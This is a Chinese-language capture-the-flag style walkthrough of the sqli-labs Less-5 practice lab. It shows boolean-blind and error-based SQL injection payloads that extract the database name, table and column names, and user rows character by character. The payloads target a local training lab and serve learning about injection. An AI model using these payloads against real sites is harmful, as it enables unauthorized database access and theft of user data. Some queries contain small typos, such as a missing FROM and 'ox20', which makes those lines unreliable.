Less-5
本关是基于布尔SQL盲注
基本语句
left(database(),1)>’s’ 作用:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位 ,‘s’为数据库名
ascii(substr((select table_name information_schema.tables where tables_schema = database()limit 0,1),1,1))=101 –+ 作用:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),ox20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98–+ 作用:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位 Ord()函数同 ascii()函数,将字符转为 ascii 值
打开源码,发现else不返回任何数据,所以本关思想就是盲注。
(1利用 left(database(),1)进行尝试
127.0.0.1/sqli-labs-master/Less-5/?id=1’and left(version(),1)=5–+ 查看当前数据库版本,这里作用是查看版本号第一位是否等于5,很明显这里是等于5的,结果是正确的。
因为如果不正确不会显示you are in…
继续输入语句
127.0.0.1/sqli-labs-master/Less-5/?id=1’and length(database())=8–+判断数据库的长度为8,成功返回结果,说明是8
127.0.0.1/sqli-labs-master/Less-5/?id=1’and left(database(),1)>’a’–+查看数据库第一位,此操作为判断第一位是否大于a,可使用二分法提高效率
127.0.0.1/sqli-labs-master/Less-5/?id=1’and left(database(),2)>’sa’–+查看数据库第二位,用上述方法重复查询数据库第n位,直到找到数据库第8位(因为查询到数据库长度是8位)
(2)利用substr() ascii()函数尝试
127.0.0.1/sqli-labs-master/Less-5/?id=1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80–+ 获取数据库第一个表的第一个字符(本靶场的数据库为security,里面的第一个为email,第一位为e,所以直到测试到>101为止),此处也能使用二分法提高效率。
若获取表的第二个字符呢?了解substr()后改成substr(*,2,1)即可
获取第二个表呢?我们看上面的语句limit 0,1意思是从0开始,获取第一个表,我们将0改成1就是从第一个开始获取第一个表,那么就是得到了第二个表。
127.0.0.1/sqli-labs-master/Less-5/?id=1’and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113–+
此处113为正确,因为第二个表为refers,第一位是r,ascii码就是114
(3)利用regexp获取(2)中user表中的列
127.0.0.1/sqli-labs-master/Less-5/?id=1’ and 1=(select 1 from information_schema.columns where table_name=’users’ and table_name regexp ‘^us[a-z]’ limit 0,1)–+ 这条语句作用是选择users表里是否含有us的列
127.0.0.1/sqllib/Less-5/?id=1’ and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^username’ limit 0,1)–+ 将us[a-z]替换成username,发现返回成功说明里面有username这一列,同样换成password执行上述操作也是正确的。
(4)利用ord()和mid()函数获取users表的内容
127.0.0.1/sqllib/Less-5/?id=1’ and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68–+ 获取username中第一行的第一个字符ascii与68进行比较,重复使用该方法,得出第一行数据为Dumb,以此类推。
(5)报错注入和延时注入
127.0.0.1/sqli-labs-master/Less-5/?id=1’ union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a –+